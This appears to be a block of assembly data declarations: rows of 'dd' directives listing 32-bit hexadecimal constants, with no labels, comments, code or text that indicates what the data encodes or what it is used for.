dd 0B01E7D5Ch, 7BE039h, 0DFF03271h, 0C082E5C5h, 8A5F8800h
dd 7444AB7Dh, 6F4900EFh, 11D7BB68h, 10005C59h, 36DE9352h
dd 0B8E413BDh, 7DD80136h, 0C1450D03h, 21C3019h, 0DFD0F8A1h
dd 251DAEA0h, 469C6400h, 3D4532A3h, 7EE63BDDh, 62184C0Fh
dd 0B46149E0h, 0C500999Bh, 0FB15D7D6h, 0CA797h, 0D87B7073h
dd 5882375Dh, 0E6192A60h, 0F03E67h, 0F8786987h, 0F6B68D53h
dd 0AAE9CF04h, 33C01BB8h, 0EDC0FDBh, 0B523257Bh, 61123527h
dd 0C4620ED4h, 72760BF7h, 0EB218100h, 0B3ED204Dh, 83C71CBAh
dd 78BE407Bh, 0DD0BA55Bh, 9EC6BD09h, 14E40025h, 0DB1AD9h
dd 7932D2CCh, 9AB4585h, 6470E100h, 2AFE1D21h, 0A87300EBh
dd 4AD891BFh, 0DB07F43Ch, 446D3888h, 400D6172h, 0F2A90434h
dd 2D8F0EDEh, 0A7008EDDh, 7A7B5BD7h, 0E4EE3D0Fh, 2B9DA0E6h
dd 98075608h, 9AC8006Eh, 0F9B5D418h, 8D005A47h, 0A6B377CDh
dd 4867DB0Dh, 2B0034E9h, 0E43F89A4h, 0DA1F3E3Ah, 0D1C01C57h
dd 105BC21Ah, 60E258F5h, 0D3FA2500h, 322C29A0h, 0EF694F00h
dd 3ACB6661h, 3C470455h, 0C037A5DCh, 0C9069C64h, 0BED9820Fh
dd 0F410A30Fh, 0F9C80F28h, 26BE7B80h, 0DB12C8h, 5703DA2Dh
dd 7400049Fh, 2DCDF035h, 0B85F1465h, 0B13700ADh, 0A855AA3Fh
dd 8AECD804h, 733DC4E0h, 57DD00E1h, 8DF117ABh, 5EA20701h
dd 0F04AAE1Bh, 0FE5E169h, 0DBB5ED00h, 0BDC1EE84h, 0D22B39ABh
dd 4456BF80h, 0B0BAE5F0h, 27FF870Eh, 0F93B80ADh, 2774805h
dd 0FA043F81h, 0FC6025DAh, 4E03A85Ah, 1D88C3FEh, 0D480B739h
dd 0EE7AE34h, 0CE272254h, 3FBBC700h, 753FE370h, 0ACB986Ch
dd 48A4F8h, 0CD2F7F0Dh, 0C6A12E7Eh, 91FC770Ah, 0EA9FE819h
dd 0E7FD3840h, 0FA15A7F6h, 22370768h, 0B01A55F4h, 196D2D79h
dd 0D04FD202h, 804E883Bh, 0CD048BE0h, 64232416h, 5E36005Fh
dd 15AF95D3h, 48747275h, 2F9BB600h, 0ED1EBDBh, 0F41A0491h
dd 0C0E9C8D7h, 0A794518h, 1DA8B603h, 88597C78h, 0C69285Eh
dd 910C9E6Bh, 9A00FC68h, 3568EADCh, 0B8F66316h, 0AFD200A0h
dd 748CB176h, 2098BA50h, 4AE3D5A0h, 0FFA84D00h, 0A984E553h
dd 0C33B048Fh, 0C0E4651Ch, 0B9D1C2CCh, 0AB38200h, 0EEC720AEh
dd 39B8F245h, 0C5804483h, 6E2D6810h, 26041427h, 0E7DF911h
dd 388758B0h, 807F529h, 0D0AD12BDh, 41533CBAh, 0AA614400h
dd 5558C01Fh, 6821000Fh, 0B69A3825h, 2400F052h, 0FF19E0C8h
dd 3D82C694h, 490E6328h, 0CD405398h, 0B1ED2E4Ah, 5CA2DF00h
dd 72B06641h, 84825862h, 9826DB00h, 30EB90Ah, 0E610BD00h
dd 208CE432h, 2C2A00E5h, 7B77A8FCh, 2200F9AEh, 0BF6DB0FAh
dd 14FBE19h, 0B8DF2843h, 0D86E5048h, 0EB7CE593h, 818F893Ch
dd 660E3B11h, 19BCAEC0h, 882D9Ch, 1ECD0BEh, 0A90E1A7Dh
dd 0E0FF685Eh, 8725AB09h, 0A08200C7h, 7ED905A3h, 640034A9h
dd 78AC995Bh, 5C5DE5B5h, 6300616Ah, 9D5FDFF9h, 3D00F6CAh
dd 7327CEA9h, 0A0448F8Eh, 3804A69Ch, 67AECC3Ch, 7B968018h
dd 0CD72301Ah, 4AC17D00h, 0BA8B177Ch, 60500003h, 147F732Fh
dd 0A316E879h, 1C413DC7h, 2BCC28ABh, 9C008361h, 4A1C93EFh
dd 18782061h, 0AA1E6BA2h, 0B9807068h, 4CB5BFD8h, 4DEE2C38h
dd 41110520h, 88B4C5B1h, 6A11BAE0h, 17670F8h, 3D929BA4h
dd 285ADAC5h, 0BDD400B4h, 0C276167Bh, 59F0B4h, 0C312C6C0h
dd 0A7A20382h, 2486201Ch, 7CC7F89h, 0AE442BD6h, 406B648Ch
dd 300C504h, 0B245D42Fh, 72FF2EF0h, 67660FDFh, 7FE019BCh
dd 18E5A5EAh, 570386E4h
dd 3089F57Eh, 0A651EF5Bh, 0B0C54AB4h, 0E2C34C70h, 0A8E0045h
dd 0D68AB227h, 0DA72935Dh, 1D08D500h, 0B886DC10h, 2EB834h
dd 6D76533Ah, 46A5F00Dh, 0B241EB00h, 1DE7BF82h, 289890B7h
dd 3846378h, 0DA97409Bh, 0BBF82C85h, 7476A7F5h, 4790AC07h
dd 9F20D71Ah, 0A2FB20h, 2AF0DBE1h, 54940B2h, 4356470Eh
dd 180733D6h, 7C6098E3h, 4CA4EED9h, 9700CBA3h, 0F569C15Ah
dd 44C1EE1h, 48073FD4h, 0DA990051h, 749A0BBFh, 78A500C1h
dd 8CA1213Ah, 0F490900Fh, 0BF43A405h, 0DCC08B04h, 3D1A506h
dd 27382FF9h, 2BC8F53Eh, 41EA7DDh, 0CA8E728Eh, 30B1817Dh
dd 4ED8D22Eh, 0B27C0023h, 0D38EBA6Fh, 490FCACh, 2194900h
dd 59EED541h, 69F04E1h, 8785EDEAh, 26764114h, 0F53BF050h
dd 3228E300h, 7A9C89AFh, 74220964h, 78003F57h, 0E4B49A7Eh
dd 241F0BFCh, 97801934h, 799C86B2h, 0D5FA0014h, 0DA0230F2h
dd 1707C71Bh, 6BB8CC4Dh, 41225FA0h, 16D50314h, 0E4B0C377h
dd 0C70289h, 8D241B37h, 0DDA18585h, 0D803A856h, 90C6D77Bh
dd 24CD47Ch, 51593425h, 1AFC4E49h, 206A040Bh, 4D691AA0h
dd 4FE101D6h, 1F5B9C3Fh, 38E8FDCDh, 7DB604ECh, 0D4A053A1h
dd 352F588Dh, 0F65C2B0Fh, 993924E2h, 7BABE460h, 0AC3A49h
dd 7F32C8C1h, 94A810AFh, 86DD1CE8h, 0D0BF836Bh, 3F338600h
dd 0A7887B3h, 107A95h, 0EC799BCBh, 17FD664Fh, 7005398h
dd 0A0DF6413h, 4C1438BCh, 8000445Dh, 6505CAE6h, 0BB00E9AAh
dd 0A557E73Ch, 1A7208Dh, 5255CEA8h, 83F53384h, 603FCA90h
dd 0CFB4B878h, 0D9C50289h, 1B5356C1h, 9F39E868h, 7565B31Dh
dd 0E6C50340h, 38F3B7h, 8CE6C67h, 8242F151h, 1086601Dh
dd 0C8BD83CCh, 0F887003Bh, 0D8092CD0h, 83E5257h, 0E49B8146h
dd 99E71C4Ch, 87A0AFE3h, 5196990h, 1DF07694h, 0ADB4C111h
dd 0FCD6712Dh, 0DCB8CC81h, 59290A00h, 4B0CE9C2h, 23630056h
dd 0C0AF1540h, 78003394h, 0A5432DD2h, 7C1AC0Ch, 65E426CCh
dd 40F8036h, 6A051224h, 60F5AFCAh, 68E3C800h, 3AC37EE1h
dd 0E409E2DFh, 84C44436h, 0A100AD7Bh, 4E35ABA7h, 717FF4h
dd 0EF19929Ah, 8C4FEAB7h, 3E2BFF00h, 9B76527Ch, 7D4D001Ch
dd 9D97E323h, 321298ACh, 0CE00B670h, 0B003DB6Bh, 2065480Fh
dd 94A4235Ah, 63DA5D0h, 0A8F5A200h, 367F6FF8h, 0F3260161h
dd 55435AE3h, 88E4603Ah, 8E4DAD00h, 0DB1E6A01h, 0AB97021Dh
dd 0C1893FAFh, 0FBA30560h, 4F33EE00h, 0C2B156D1h, 5D1B00B6h
dd 8BC06F05h, 3114C3C6h, 14A61AAAh, 1DD86BE8h, 858748D9h
dd 0CFC08EA8h, 0A626A4h, 62F5AB27h, 0E4FD8A81h, 0F3F9E8F3h
dd 112E54B8h, 170E22E2h, 7E6BC09Bh, 0A5C1DADh, 0BFDD8684h
dd 0DCDF0090h, 4A47A9A0h, 2220C307h, 0F0A071F6h, 7ACA1BEh
dd 0B7E03933h, 0AF3030D1h, 0CC074C40h, 3BEA472Ch, 0D7F01733h
dd 596A6E80h, 1DD80099h, 8F289ADAh, 1200A983h, 0AE2BACDh
dd 1CB39B51h, 8CA03A64h, 6CA6E73Bh, 0DD5E6B0Ah, 3C00F883h
dd 2B889E04h, 0D6CC0068h, 5E5BDC9Ch, 0BD037429h, 3A1DFBB6h
dd 0DB42003Eh, 524E9E77h, 1F0093E8h, 0B50FC458h, 38F44686h
dd 0F08C96A5h, 0E1E8ADDBh, 90CDF202h, 0C852609Fh, 0BDBE90h
dd 0D7941308h, 729D01EEh, 20C91600h, 8528E63Ch, 53310036h
dd 0C506556Fh, 0A000CEAAh, 5748A3BAh, 2198DEh, 7A4BA87Fh
dd 78AA3791h, 0B63C3B00h, 99431405h, 0F7040131h, 5913855Dh
dd 561BE4A5h, 0CABD3Dh, 0B9C87D70h, 7452DA0Dh, 2A5F2DDCh
dd 0EDC60003h, 0D23FAED8h, 0E7461600h, 98347405h, 0C4613C18h
dd 26D305FDh, 0B32DEDh, 0A57732EBh, 0EB00F048h, 0D38BE330h
dd 17B29Eh, 86E81A85h, 1DDE2425h, 197B0B02h, 0F006BFFEh
dd 95D403A4h, 4B582B5Dh, 66F58808h, 621385h, 5EE573DCh
dd 0BE00152Bh, 4DF5B653h, 9F5640h, 6F9CC8FAh, 0B8422F35h
dd 0BA78FD0Ah, 7F00AF8Ch, 6B46A96h, 71740EB0h, 0F1639333h
dd 22AE66D1h, 0F2372000h, 0B0FFEAECh, 0CFEE12A8h, 242705ADh
dd 124180C0h, 6F008DF0h, 64D48F78h, 0C5F9535h, 111F04DBh
dd 120036F0h, 19E2CA0Bh, 268A1E9Bh, 1ECCB158h, 490E0199h
dd 706C7D2Dh, 7098DFE4h, 2B09C000h, 1564A993h, 0F6420092h
dd 0E3686550h, 960027D4h, 0DD11FBF7h, 1BD7977h, 4B456B83h
dd 7043BA88h, 2C07DE40h, 49AAF8EFh, 0EA715AC0h, 30330034h
dd 2AABA3F6h, 9E07CC0Ch, 0B44A35C5h, 98B7ADF0h, 39960720h
dd 80742A0Fh, 0C057D76Ah, 3B0CFD1Eh, 5F79E387h, 0CAFF0260h
dd 0C1B115F2h, 3007C471h, 0D31868h, 2F6446BCh, 0AA7CE600h
dd 435258FDh, 57A1008Fh, 2DF2AC93h, 3700922Ch, 0ABFE5BB0h
dd 76F34733h, 68A10280h, 75E981B1h, 8C875C42h, 8F495095h
dd 7400E3E4h, 0E967C085h, 0EAF693B4h, 8651D8Eh, 759482FFh
dd 0D4C8F758h, 0C224AD55h, 0AC81A462h, 0C1A525C3h, 0E4787031h
dd 0E6546607h, 330F3015h, 6901BA75h, 2A409635h, 3C2056A4h
dd 0EEA370A9h, 6B8A8828h, 5CD18440h, 0C03B185Ch, 0CE983Bh
dd 72403DBCh, 7300A6CDh, 79EC2056h, 0EBA12791h, 3F670ECh
dd 0F4FCC2AFh, 87F43858h, 62D48110h, 0E899E49Bh, 0C3D3C700h
dd 2786E0Eh, 89F039h, 8F5F9F43h, 0B11548A6h, 2A63F200h
dd 0F42DC341h, 32090B2Fh, 9B876F4Eh, 17F05080h, 2700424Ah
dd 157DB29Fh, 0C32850h, 8749FA65h, 0D246230Ah, 998E2118h
dd 0FE7DE8h, 60C16A3Dh, 0B1EB5536h, 0EC861300h, 6DA02C63h
dd 0F620070h, 31E7A9ABh, 2E6E1B6h, 0FFDFBF01h, 0D02EE99Fh
dd 3589B06Eh, 570F6CE8h, 0E0AA4753h, 0CA791799h, 2A260EE0h
dd 0E321211Ah, 2BE6B68Fh, 603CBC0Eh, 0A5E716E5h, 198500D5h
dd 0F3F44F7Fh, 249036F1h, 0D6A46301h, 5F2D1022h, 0C0A1BE70h
dd 0B28CADD6h, 52EB0C4h, 0EE01FE46h, 56D51248h, 0E6533060h
dd 7E191FD4h, 0B87894EDh, 0D6DDE001h, 0E43BB77Ch, 9D1C5249h
dd 7781FC41h, 0E3932AF2h, 1B28C4h, 0CE1EEE50h, 0DDA6A94Fh
dd 0E5DE4A17h, 4C0BB800h, 0AFFF2h, 108714Eh, 0B23DA1D9h
dd 95A59B00h, 5C7B19B6h, 2BB002Bh, 43FC15E4h, 2F1F463Ah
dd 9CEC8172h, 0FB5400BAh, 63FF48C3h, 25DA00F9h, 520166A6h
dd 802949Bh, 0C08E3C8Bh, 83C0C084h, 0E5B60181h, 2A04FCAEh
dd 2D6450CFh, 2200360Dh, 55FB9751h, 0F9D57Fh, 58BA11EBh
dd 0AF066328h, 5EF06200h, 9EB1A9E7h, 1F0C0020h, 4D965094h
dd 430537DEh, 61F5E503h, 6407897h, 6A3117h, 5E988C8Ah
dd 0E08E3738h, 0FD115660h, 53679B90h, 18400439h, 919A07FBh
dd 8F8DFE79h, 0DDBEEF83h, 20501F9Ah, 0E762840Fh, 4FFC8066h
dd 1165FC5h, 70C065C6h, 40B6D9ACh, 0C3784E9Eh, 0A6758474h
dd 7C80165Dh, 0F48EE406h, 73035BAh, 64BFD58Dh, 446D2001h
dd 77F0BDA7h, 0F8466E0h, 0C580F488h, 70407986h, 6D307B77h
dd 30EDF160h, 0AA50001Fh, 0C036D344h, 0AEB8C56Eh, 9720F660h
dd 1F7C1F33h, 873EA403h, 0C0D286F5h, 0E4908782h, 0B5BB1707h
dd 3FD0B984h, 737BA0BFh, 3E79009Ch, 0F6216439h, 441E5BE3h
dd 6CC04F0Eh, 1C5E4BCAh, 9AB1862h, 8B3F6968h, 25A93503h
dd 0A0E8CDE9h, 6E0C4BEh, 0D1D90A46h, 8401B1EDh, 9FA48B5Fh
dd 10BE3CE4h, 0F6360E07h, 71D38082h, 49001756h, 834BEE32h
dd 0C6E4CEBh, 7B692AE6h, 96011930h, 0FD39C1Bh, 81BEE9D0h
dd 7C4042Eh, 0C920FC73h
dd 0DCD80820h, 0C5006BC9h, 0D3A37FA6h, 0E24D9E69h, 0D5A2011Dh
dd 0BF2DAF36h, 83B8506Ah, 927D5605h, 8076783Eh, 24D67239h
dd 7B85AD0h, 0E8D7A6C3h, 3E8DC198h, 0AC788044h, 0AD7AFA2Fh
dd 2E67C6Dh, 0D7473AB1h, 2C80C42Ch, 624A879Bh, 0ACD56903h
dd 0BA67273Eh, 0D780A045h, 0C0E306D1h, 0B84792C9h, 0C30C7A6Eh
dd 106F6070h, 1C5F045h, 0D74308E0h, 0EF756761h, 81FC97C0h
dd 1BAFA400h, 326696B4h, 89221DC4h, 0F9007A31h, 245A268Ch
dd 0E63DA2BFh, 9BBB345h, 8621000Ah, 28C32452h, 0D0B54B4Dh
dd 0A0180171h, 9165BFA2h, 1BE6FC31h, 64EB2C18h, 862E3461h
dd 1431595Ch, 0A0303EA2h, 245171h, 0C06E2FD6h, 35C425B9h
dd 67A46804h, 41C9D86h, 61CDAB3h, 8D385A22h, 54C16034h
dd 9B1D186Bh, 1BC068DDh, 679FB0EEh, 2880FF32h, 0B3E62246h
dd 70C4F7BAh, 580D9BBh, 18F82594h, 18F06082h, 5A376799h
dd 0A2C13892h, 804885EAh, 62B0AC87h, 56A27858h, 10094C91h
dd 24507Ch, 9FE26DA5h, 0CFEDF0E7h, 16480703h, 0A8A0EB9Ch
dd 0A88DF9h, 38325873h, 4731B7A9h, 6396803h, 3E98C25Eh
dd 89001A70h, 0A9543C75h, 760765E6h, 0C18FADABh, 0CD73ACD0h
dd 273A0587h, 2A3FE56Ah, 3E00BA04h, 392C4716h, 8939B2BCh
dd 0BE489C9Ah, 0F37CD981h, 1E20F25Ah, 47AE3C39h, 0FB901Eh
dd 50069110h, 937C842Ch, 0DF376600h, 909A31ABh, 2365037Eh
dd 944D4A8Fh, 382C5200h, 8D2E1EB1h, 7048009Eh, 4D479B20h
dd 3E0F3F39h, 0B58A6Fh, 52A58F54h, 918101F3h, 0CAD06A3Bh
dd 70BCE485h, 0B7B89464h, 3A9CA1C1h, 19A1BD0h, 4332391Dh
dd 0FC842448h, 0D82D42F2h, 32AC5E13h, 85112729h, 20FE24EAh
dd 0FEED7877h, 3C3342C4h, 84FA4470h, 513ED431h, 2D119D7Fh
dd 8C46130Ch, 977FD043h, 284B2828h, 30D16610h, 31144228h
dd 0D751FEECh, 0F2E51190h, 400E2988h, 223822BBh, 312291E3h
dd 114A42DAh, 0EF283AA0h, 0E4192228h, 5C191642h, 42FBA181h
dd 3C847C14h, 864F2252h, 790764h, 0C91AF415h, 9A907D77h
dd 9610ED00h, 62181A8h, 0B10B00F9h, 4CDA0ADDh, 8507059Ch
dd 0F895612Eh, 3317A000h, 38AA008Fh, 6A0CBC9Dh, 7E020EF6h
dd 0A98CF51Bh, 76A060D2h, 667E84h, 83492D28h, 776DB69Bh
dd 0B3F27900h, 0E5394E3Eh, 5A100AAh, 4FA2DF6Bh, 1400BDC0h
dd 8F9CCA5Bh, 1DF1DDh, 367D0B7Ch, 0E45D4CB0h, 0C1007890h
dd 2B4155A3h, 7EAB64h, 1A8998DAh, 0B6DE84AEh, 0F8AC407h
dd 9B404C2Eh, 596A3DFh, 7E953A07h, 0DAEE8114h, 0FDC8FB85h
dd 0E00B22Fh, 3778F98h, 0DEC234h, 0FAB03745h, 274013A9h
dd 14FDCF00h, 663D88FCh, 32C70F5Dh, 5C60C061h, 0A21744B6h
dd 0E15AD303h, 60E2A9h, 6463C778h, 0CF12A091h, 6C00B9F0h
dd 2926E914h, 72B43447h, 2148005Dh, 5AFBC1FDh, 9C00701Bh
dd 9F224F11h, 1876102Fh, 50E5384Dh, 2A073CD7h, 88D0C799h
dd 25826370h, 0FDF009Dh, 92898344h, 0C503E745h, 0A69707CBh
dd 2F21C0D0h, 9BFAB0h, 0D35B609Ah, 1A677CD5h, 0C04AD800h
dd 6AE68EF4h, 4821D02h, 7B20008Bh, 92710F1Ch, 19163801h
dd 136CFA91h, 0E5260C4h, 0BBF2F405h, 63619E60h, 0A905C06Ah
dd 6282E75Bh, 3567D000h, 0AB8719h, 368AEFF1h, 446BB694h
dd 0F169E028h, 0C857CA00h, 7CA8CB84h, 0F9FED7h, 1F37FB92h
dd 0A529F580h, 0BBAFED01h, 0E831DA6h, 0B8D6C4h, 84283D51h
dd 49F6A859h, 90B2F00h, 0ED6486B4h, 0C484850h, 398B1282h
dd 0C880F886h, 0DC18C500h, 0B8D808ADh, 7B6F0A6h, 8F97F2C9h
dd 8E54D0E3h, 0B20039FCh, 30C2B8D7h, 1A5CB5Ah, 3F4EF9A9h
dd 24812B2Ch, 0AC00BA0Ch, 5CEF7F0h, 0B506BFh, 9793DFC2h
dd 1E5A62BBh, 85E27098h, 42844309h, 7A5020DEh, 0A12ED5h
dd 0C2F154CEh, 0E2082A5Ch, 87105100h, 24F5BD3Eh, 0C0FF00FEh
dd 6F13A5E0h, 45307B81h, 0CAA34023h, 0ECC326AEh, 0ACE600DEh
dd 0B084B967h, 3377C01Dh, 297D7201h, 34ECF494h, 64730EADh
dd 7E400487h, 9C28BF69h, 3A21B100h, 3DFC88EBh, 97EED6h
dd 0F73AAB2h, 0AB3410D5h, 2935DC16h, 28E72C00h, 239111h
dd 65F73B51h, 9615316Ch, 85E1B800h, 0CFD087A8h, 4C4300E3h
dd 67F32CAAh, 4A00189Ah, 914923B2h, 26659334h, 4620162h
dd 0C094D612h, 0FDE39D91h, 727A9200h, 74318C22h, 0A735006Ch
dd 68762F12h, 0E2E2218Dh, 28884Dh, 20DD7457h, 0E8E916Ch
dd 0D1A72283h, 104AD500h, 6F004728h, 96B15573h, 1EB08E71h
dd 4080667Eh, 44A57DCCh, 25007011h, 4624FF5h, 0AEDC08Dh
dd 53C51345h, 0C89580DCh, 6F255E61h, 7FDAB50Ch, 39FA482Fh
dd 7AEB3Dh, 9809E241h, 0AB81669Eh, 70003B90h, 9247532Fh
dd 0C9FCA8h, 0F0FB9791h, 3A78EDE8h, 29758103h, 0F0955822h
dd 0E95625h, 0B8F6A9A1h, 8FE2F86h, 3FBC763Bh, 93F400D8h
dd 0B4CBE718h, 110400C4h, 0CDA2B9C6h, 1700DB42h, 0CA63841Bh
dd 32A6518h, 0E198F2DEh, 3BE067DFh, 71006C2Fh, 3C27C7E9h
dd 7C149Ah, 8EE3F463h, 6FA8C0F8h, 0A4EA4Ch, 0BD1EF1E9h
dd 0FE94935Bh, 78B700E1h, 0EA2A359Ch, 5C0FFFEDh, 0BDC5FEE3h
dd 3B690A80h, 0F8DC9925h, 670B00A5h, 911CBE8Bh, 0CE0B68A3h
dd 1740841h, 66788804h, 4672ECEh, 832CD013h, 49008D2Fh
dd 0EBCB5DF9h, 2BEF8F5h, 0B2D0A347h, 640EFD3h, 7112A86Ch
dd 941E585Fh, 26B98F00h, 7A30C01h, 5361FCCEh, 0F0001999h
dd 529B71EEh, 0A4008E7Fh, 1E8B9EA3h, 0DF77A90Fh, 4924C0BCh
dd 45E162FDh, 992DEB00h, 1B41B063h, 46FF1F77h, 0E04B02E6h
dd 9A87C064h, 0B08F7130h, 0E2BFD448h, 3C83FB04h, 0BA80FA9Dh
dd 0B8BCC282h, 5D6A0019h, 0ECEEEF2Ah, 0AA00D8BBh, 4186F9F3h
dd 5D0CF1E4h, 1F00D019h, 64F03EDDh, 16001C9Ah, 88DEBBAEh
dd 1067BCh, 82118C25h, 40640D2Fh, 6B1FB602h, 0C18384DBh
dd 81C8973Ch, 0EE520EDCh, 809CFB56h, 0B8D5ABA6h, 3F4CB2F9h
dd 3ACF3A34h, 1A5500C2h, 9FD6EA46h, 0BC80C08Bh, 0DC92C736h
dd 0FB284A00h, 63ADD364h, 7EF000EFh, 8773FAF2h, 8200851Fh
dd 0AB46D4F4h, 3C12E4h, 0B67A6936h, 0FFFBB48h, 0B59F1300h
dd 0F1D3C398h, 254D028Eh, 0B05941B4h, 0A672BDE0h, 63604900h
dd 2717B88h, 8C07017Eh, 8F53803Ah, 9D3DF413h, 0AF09C507h
dd 8722CE4Ch, 5DA080F3h, 520FE0h, 0B62C7E2Bh, 9AB031BDh
dd 0F8A12000h, 0F67C27ECh, 0F4BA0015h, 0DB54FD52h, 99009B4Eh
dd 478FD7B1h, 4C0EB6h, 9FDFA332h, 0FCAEDBCDh, 69286516h
dd 1803A000h, 11333Ch, 0CCD04D9Dh, 1E359E15h, 0E8DF0903h
dd 0D8E458F0h, 0D9403Dh, 0A24F7C13h, 0AD383266h, 0A1DEA900h
dd 47B28602h, 14F800B8h, 42CF6D6Ch, 0AD00CC3Ch, 82CD2BB0h
dd 16E57Dh, 6B12A845h, 96ACA4FAh, 22200E00h, 2B1CC64Ah
dd 0FF240018h, 0C1E557B4h, 0DF48EA9Dh, 590100C8h, 31D476FBh
dd 0FE8677ACh, 0C75504D0h, 0C0648248h, 0CCB5BBC0h, 0FF2D960h
dd 0C14CF4h, 532D75C3h, 647BF52Eh, 4DA3938h, 69EB1ADFh
dd 7090C880h, 13F138Eh, 3494000Fh, 8D5F1E7Ah, 0DB19E816h
dd 0F489301Dh, 0EBC400B5h, 0F0097A10h, 0C0703F3Bh, 0F1B32C04h
dd 3768806Eh, 167EC9A5h, 9ADFE200h, 311383C6h, 0D9103894h
dd 67A007Fh, 789BF457h, 2300870Eh, 0A76CDD08h, 2255035h
dd 0DF3DB459h, 9C6176CEh
dd 6840C69Eh, 3CB06C81h, 8017663Bh, 2D70BE47h, 0FBAEC52h
dd 243710DFh, 0E5070372h, 69C0B045h, 21006F2Ah, 0B6B1C975h
dd 376F27Ah, 89FFF7A9h, 0BEF8D5C8h, 5417B402h, 0E80096D6h
dd 0B8670597h, 4BC3F9Bh, 86642680h, 0F9F075DCh, 8130A15Ch
dd 0EE58BB55h, 69C6D8h, 15478BBEh, 8274CA30h, 0D8076894h
dd 0A4E6339Ah, 5BA100C0h, 87438489h, 273CF74Ah, 5ED20A3Fh
dd 400ACB4h, 1A939C0Dh, 6E870009h, 0BB015A69h, 0E2D6D9F2h
dd 40060Bh, 46DBB3BCh, 0A5A30628h, 40A29049h, 8D395F00h
dd 352773A0h, 0E2471C3Fh, 0B9A100A7h, 7E67367Bh, 430B1E06h
dd 1C483032h, 0DEEDE6h, 0CE2CBAFDh, 570009ADh, 2742BF5Dh
dd 7FBCC41h, 0A81ABC1h, 0A8437044h, 0E4032A40h, 1E3602A2h
dd 0EF05E034h, 3BFCFC5Eh, 8781CA8Fh, 6BB1FA28h, 85533022h
dd 0B000F998h, 5F238496h, 4DC0F1Fh, 5D9AC0C2h, 9EC081EBh
dd 27C3FC06h, 0AA149500h, 0F77EAF43h, 38070092h, 0DAA63DCFh
dd 0FA249C5Ah, 313A755h, 0B2460304h, 19EDE492h, 1B9F408Bh
dd 2900C115h, 7908947h, 773E3463h, 1BAEAA9h, 8237E8B8h
dd 60624B7Bh, 837E2A0Bh, 0A818E0B8h, 0BD50FAD8h, 6186129Ah
dd 1A8C002Dh, 0EE3E11B6h, 0B000C54Eh, 13850B06h, 0B1831B2Dh
dd 0AED0296Fh, 77008720h, 0DDBD9B10h, 5C8F60h, 26C1A2DEh
dd 6B7AD27Bh, 0A5843Ch, 81793461h, 0EA86631Fh, 539E179Ch
dd 0DE4C007Ch, 0C9591B5Fh, 1008B800h, 0D889A842h, 1887396Ch
dd 0CDBBEA80h, 39687535h, 81ACC200h, 8974721Eh, 9C5B00D1h
dd 0CF2D563Fh, 78B76AB1h, 0FC0E718Eh, 8A71004Ah, 0E1F5955Fh
dd 0F00D9B6h, 0C0B732C9h, 18BB1997h, 0D051AE6Ch, 0FA0F6A90h
dd 22E5201Ch, 406611B8h, 625F28h, 0A482E845h, 98FB9E14h
dd 3268DC00h, 9C6C160Fh, 0D4A31C13h, 54484057h, 21DFAAE1h
dd 0D1887D01h, 0B99A4D04h, 1E8A85E8h, 9620EFBFh, 368C413Fh
dd 0F5AC3B88h, 0E8E02045h, 0C3487600h, 917B2C2Dh, 9F15484Fh
dd 9600DE3Ah, 0CAFD9330h, 0E40016F6h, 9AF3F4Ah, 1328999h
dd 3D541C65h, 0E4AB3A8Bh, 2F05E45Eh, 71E8BD48h, 27A7ECD0h
dd 0AE112757h, 1D690C00h, 0BD004DB9h, 815075FCh, 79882E5h
dd 0B2AA1FA5h, 7C3520CDh, 0DF1F0296h, 4980CE70h, 0F841A1FFh
dd 3C0F7AEDh, 670053A7h, 71E7AB01h, 7560D7D4h, 4FF4B068h
dd 473001AAh, 0D8C0F52Ah, 0B81480E5h, 7A9541A5h, 37580475h
dd 0E05472B0h, 2C3F606Ch, 96698020h, 7683CB8Fh, 0D23700FBh
dd 0CE385D7Dh, 0ACB036EEh, 0DE59C50Ah, 0FA0080BFh, 0B529540Dh
dd 4A10C7C0h, 0C6B0C03Ah, 8300D1A9h, 0B73F5ECh, 1B3D346Dh
dd 28C1416Fh, 742E6001h, 2F604C94h, 3DD00420h, 9728F84h
dd 127B0E4Eh, 3EE44880h, 2001DFDDh, 0D7731C67h, 0A0E605D6h
dd 3087D4E4h, 866C07F9h, 30FDD288h, 6F234A3Dh, 0A70059B8h
dd 0E8B0F0E3h, 3AD95Ch, 3FC6C913h, 0FCDE9FE4h, 90546A26h
dd 3B5D079Dh, 4807D916h, 0C3B0B166h, 0AB3911h, 0ED5B7F77h
dd 23703A3Eh, 30F68258h, 0E297A099h, 4AA900BBh, 59AFA495h
dd 0EC00E91Fh, 5E47AC1h, 33E792h, 0D5DF9E12h, 0EA361EFFh
dd 14E12400h, 0B4BC422h, 5F5D3F0Ah, 81FCF024h, 92033755h
dd 0B8F030A6h, 96A1A0C0h, 0F66EFDh, 0DD89AF9h, 1E90047Bh
dd 59D0C404h, 3CC0786Bh, 0FC30ED18h, 0DD75002Ah, 72795254h
dd 0F4A05FB7h, 6F77DA64h, 14B8A609h, 0EFD082EEh, 537E4004h
dd 4AF80317h, 0CD13FC88h, 0A0790380h, 0DB56221Eh, 16D59D40h
dd 437839h, 0BF80730Ah, 0ED6B4150h, 7FC88154h, 0F78630A0h
dd 1F786C49h, 0E2D3DDD2h, 7E8800EFh, 90225C12h, 70F2BF30h
dd 0CD23B0Fh, 3754A4B2h, 7D182748h, 0E218BFA2h, 14065DD6h
dd 8DAD1974h, 0F02C597Fh, 3A3B32F2h, 0A130829Dh, 0E1CB75E0h
dd 92202E77h, 7C7585h, 48A6497Fh, 0DB12760Ah, 0C9FF7118h
dd 0E56725Eh, 0DFF27D17h, 339F7B40h, 0EC1C8BC4h, 1FC02071h
dd 0D1A0B5FEh, 752C006Bh, 0BCD2B68Fh, 9A0068DAh, 0F6F2415h
dd 3C9DCF5Ch, 7104F757h, 8086E61Bh, 645BE878h, 3C491D00h
dd 0EA52D483h, 0D8380094h, 0E06DED33h, 0FF00FB1Ah, 3B7274E7h
dd 211B60h, 0CD98555Eh, 513C52B8h, 0E54AE307h, 9F7A0356h
dd 6943A512h, 9398F32Dh, 0C572E035h, 76CC004Dh, 81C0AA87h
dd 2400DCFEh, 0D9EE0ACDh, 1793133h, 644DFB7Ah, 3082B57Dh
dd 0C0E329F4h, 0C00016CBh, 0CFEB5EBFh, 9A4B0F5h, 0D1643A66h
dd 4ACA9C83h, 0C7D39B88h, 0E05DEB03h, 0B0DF9103h, 7C1A90B6h
dd 97C306D7h, 0B8BBFD2Ch, 82004176h, 0A295AA1h, 0B32F4Bh
dd 0C11F2264h, 0DC91538h, 56107D00h, 723135CFh, 50B051h
dd 0FFFCBE2Dh, 6B255304h, 5F56950Fh, 136E803Fh, 70A8649h
